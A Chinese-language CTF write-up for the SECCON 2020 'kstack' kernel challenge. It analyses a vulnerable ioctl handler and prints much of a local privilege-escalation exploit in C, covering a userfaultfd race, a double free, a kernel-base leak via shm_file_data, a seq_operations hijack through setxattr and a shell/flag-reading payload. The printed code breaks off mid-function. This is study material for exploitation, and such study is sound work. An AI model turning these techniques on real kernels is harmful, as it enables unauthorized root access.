SECCON-2020-kstack:userfaultfd + setxattr + double free

启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
    -cpu kvm64,+smep \
    -net user -net nic -device e1000 \
    -no-reboot \
    -s \
    -monitor /dev/null \
    -nographic

题目

typedef struct _Element {
   
   
  int owner;
  unsigned long value;
  struct _Element *fd;
} Element;

Element大小为24,kmalloc(sizeof(Element))分配进kmalloc-32的slab中

static long proc_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
   
   
  Element *tmp, *prev;
  int pid = task_tgid_nr(current);
  switch(cmd) {
   
   
  case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
   
   
      head = tmp->fd;
      kfree(tmp);
      return -EINVAL;
    }
    break;

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
   
   
      if (tmp->owner == pid) {
   
   
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
   
   
          prev->fd = tmp->fd;
        } else {
   
   
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }
    break;
  }
  return 0;
}
  • CMD_PUSH,分配一个Element,kmalloc-32 slab;并将用户层的值拷贝到Element->value,并将该slab链入单向链表中
    • copy_from_user失败后
      • 会释放Element,kfree(tmp);
      • tmp是局部变量,未置NULL
  • CMD_POP,将单向链表中,所有Element->owner与调用进程pid相同的,全部释放掉,并将Element->value拷贝到用户空间
    • 如果Element->value的值是有用的,但Element->value拷贝到用户空间,这个用户空间地址是不变的,如果拷贝多份,会被覆盖,所以考虑只拷贝一份出来,也就是链表中,只放入一个Element
    • 释放Element,kfree(tmp); tmp未置NULL

因为是题目,总会有解的,分析漏洞在哪里

1)CMD_PUSH正常,CMD_POP有问题吗?

CMD_POP,copy_to_user失败

proc_ioctl调用就直接退出了,没任意影响

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
   
   
      if (tmp->owner == pid) {
   
   
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;  <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
        if (prev) {
   
   
          prev->fd = tmp->fd;
        } else {
   
   
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

CMD_POP,copy_to_user正常

单向链表指针正常调整
kfree(tmp);,tmp未置NULL,有利用方式吗?

  • CMD_PUSH中,tmp会被重新初始化tmp = kmalloc(sizeof(Element), GFP_KERNEL);,没啥问题
  • CMD_POP中,for中的下一轮被重新赋值,没啥问题
  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
   
   
      if (tmp->owner == pid) {
   
   
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
   
   
          prev->fd = tmp->fd;
        } else {
   
   
          head = tmp->fd;
        }
        kfree(tmp);		<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

2)CMD_PUSH copy_from_user正常失败

  • CMD_PUSH
    • head = tmp->fd; head指向head自身
    • kfree(tmp); 无用,在CMD_POP中重新赋值
  • CMD_POP
    • 第一轮for循环,tmp指向head,head->owner无数据,准备prev = tmp, tmp = tmp->fd
    • head->fd无内容,for循环结束
  • 这看起来也没啥问题
  case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
   
   	// 失败
      head = tmp->fd; 	// 修正指针
      kfree(tmp);	// 释放掉
      return -EINVAL;
    }

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
   
   
      if (tmp->owner == pid) {
   
   
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
   
   
          prev->fd = tmp->fd;
        } else {
   
   
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

3)CMD_PUSH copy_from_user正常失败,并暂停住

  • CMD_PUSH,copy_from_user失败并暂停住
  • CMD_POP
    • 可正常copy_to_user
    • 可kfree
  • CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free
  case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void*)&tmp->value, (void*)arg, sizeof(unsigned long))) {
   
   	// 失败,并暂停住
      head = tmp->fd;
      kfree(tmp);
      return -EINVAL;
    }

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
   
   
      if (tmp->owner == pid) {
   
   
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
   
   
          prev->fd = tmp->fd;
        } else {
   
   
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }

看起来这种运行方式,通过userfaultfd或者fuse达成

详细分析CMD_PUSH copy_from_user正常失败,并暂停住

1)不能白白浪费CMD_POP中的可正常copy_to_user

  • CMD_PUSH,copy_from_user失败并暂停住
  • CMD_POP
    • 可正常copy_to_user <<<<<<<<<<<<<<<<<<
    • 可kfree
  • CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free

在上面整体运行的时候,可以先分配带有内核函数指针的kmalloc-32
1)分配带内核指针的kmalloc-32,slab-A
2)释放slab-A
3)CMD_PUSH,copy_from_user失败并暂停住(占据slab-A,且内容没有被污染)
4)CMD_POP
4-1)可正常copy_to_user (获取内核指针,获取内核基地址)
4-2)可kfree
5)CMD_PUSH,copy_from_user失败放开运行;执行kfree(tmp),产生double free

2)double-free的利用

分配:一个带有函数指针的内核结构体 slab-B
分配:分配时修改slab-B中的函数指针
触发:slab-B的函数指针

利用

exp1

  • 分配并释放shm_file_data
  • mmap地址addr,该地址被注册进userfaultfd
  • push-addr
    • 在 CMD_PUSH,copy_from_user处暂停
    • pop,获取shm_file_data->ipc_namespace,计算内核基地址
    • 产生double-free的第一个free
    • 修改addr的属性,PROT_NONE,copy_from_user失败,产生double-free的第二个free
  • double-free第一次分配:open("proc/self/stat"),分配seq_operations
  • double-free第二次分配:setxattr,同时修改seq_operations中的start为一个rop栈迁移
  • 在栈迁移处布置rop
  • 触发seq_operations->start提权
#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/xattr.h>

#define ulong unsigned long
#define errExit(msg)          \
  do                          \
  {
     
                                \
    perror("[ERROR EXIT]\n"); \
    perror(msg);              \
    exit(EXIT_FAILURE);       \
  } while (0)
#define WAIT(msg) \
  puts(msg);      \
  fgetc(stdin);

#define PAGE 0x1000

ulong user_cs, user_ss, user_sp, user_rflags;
int fd;                        // file descriptor of /dev/note
char *addr = 0x117117000;      // memory region supervisored
char *shmaddr = 0x200200000;   // memory region shmat
const char *buf[0x1000];       // userland buffer
const ulong len = PAGE * 0x10; // memory length
ulong leak, kernbase;

void pop_shell(void)
{
   
   
  char *argv1[] = {
   
   "/bin/cat", "/flag", NULL};
  char *envp1[] = {
   
   NULL};
  execve("/bin/cat", argv1, envp1);
  char *argv2[] = {
   
   "/bin/sh", NULL};
  char *envp2[] = {
   
   NULL};
  execve("/bin/sh", argv2, envp2);
}

static void save_state(void)
{
   
   
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}

#define POP 0x57ac0002
#define PUSH 0x57ac0001

struct Element
{
   
   
  int owner;
  ulong value;
  struct Element *fd;
};

int _push(ulong *data)
{
   
   
  if (ioctl(fd, PUSH, data) < 0)
    if (errno == EINVAL)
    {
   
   
      printf("[-] copy_from_user failed.\n");
      errno = 0;
    }
    else
      errExit("_push");

  // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it.
  return 0;
}

int _pop(ulong *givenbuf)
{
   
   
  if (ioctl(fd, POP, givenbuf) < 0)
    errExit("_pop");

  printf("[+] poped %llx\n", *givenbuf);
  return 0;
}

static void call_shmat(void)
{
   
   
  int shmid;
  void *addr;
  pid_t pid;

  if ((pid = fork()) == 0)
  {
   
   
    if ((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600)) == -1)
      errExit("shmget fail");

    if ((addr = shmat(shmid, NULL, SHM_RDONLY)) == -1)
      errExit("shmat fail");

    if (shmctl(shmid, IPC_RMID, NULL) == -1)
      errExit("shmctl");

    printf("[ ] Success call_shmat: %p\n", addr);
    printf("[ ] Child is exiting...\n");
    exit(0);
  }
  wait(pid);
  printf("[ ] Parent is returning...\n");
}

// cf. man page of userfaultfd
static void *fault_handler_thread(void *arg)
{
   
   
  puts("[+] entered fault_handler_thread");

  static struct uffd_msg msg; // data read from userfaultfd
  struct uffdio_range uffdio_range;
  long uffd = (long)arg; // userfaultfd file descriptor
  struct pollfd pollfd;  //
  int nready;            // number of polled events
  ulong hogebuf;

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  puts("[+] polling...");
  while (poll(&pollfd, 1, -1) > 0)
  {
   
   
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
      errExit("poll");

    // read an event
    if (read(uffd, &msg, sizeof(msg)) == 0)
      errExit("read");

    if (msg.event != UFFD_EVENT_PAGEFAULT)
      errExit("unexpected pagefault");

    printf("[!] page fault: %p\n", msg.arg.pagefault.address);

    //********* Now, another thread is halting. Do my business. **//
    // leak kernbase
    puts("[+] pop before push!");
    _pop(&hogebuf); // leak shm_file_data->ipc_namespace
    leak = hogebuf;
    kernbase = leak - 0xc38600;
    printf("[!] leaked: %llx\n", leak);
    printf("[!] kernbase(text): %llx\n", kernbase);

    // change page permission and make fail copy_from_user
    mprotect(msg.arg.pagefault.address & ~(PAGE - 1), PAGE, PROT_NONE);
    printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE - 1));
    uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
    uffdio_range.len = PAGE;
    if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
      errExit("ioctl-UFFDIO_UNREGISTER");
    printf("[+] unregistered supervisored region.\n");

    break;
  }

  puts("[+] exiting fault_handler_thrd");
}

// cf. man page of userfaultfd
void register_userfaultfd_and_halt(void)
{
   
   
  puts("[+] registering userfaultfd...");

  long uffd;     // userfaultfd file descriptor
  pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // create userfaultfd file descriptor
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
  if (uffd == -1)
    errExit("userfaultfd");

  // enable uffd object via ioctl(UFFDIO_API)
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    errExit("ioctl-UFFDIO_API");

  // mmap
  puts("[+] mmapping...");
  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
  puts("[+] mmapped...");
  if (addr == MAP_FAILED)
    errExit("mmap");

  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
  uffdio_register.range.start = addr;
  uffdio_register.range.len = PAGE * 0x10;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    errExit("ioctl-UFFDIO_REGISTER");

  s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
  if (s != 0)
  {
   
   
    errno = s;
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值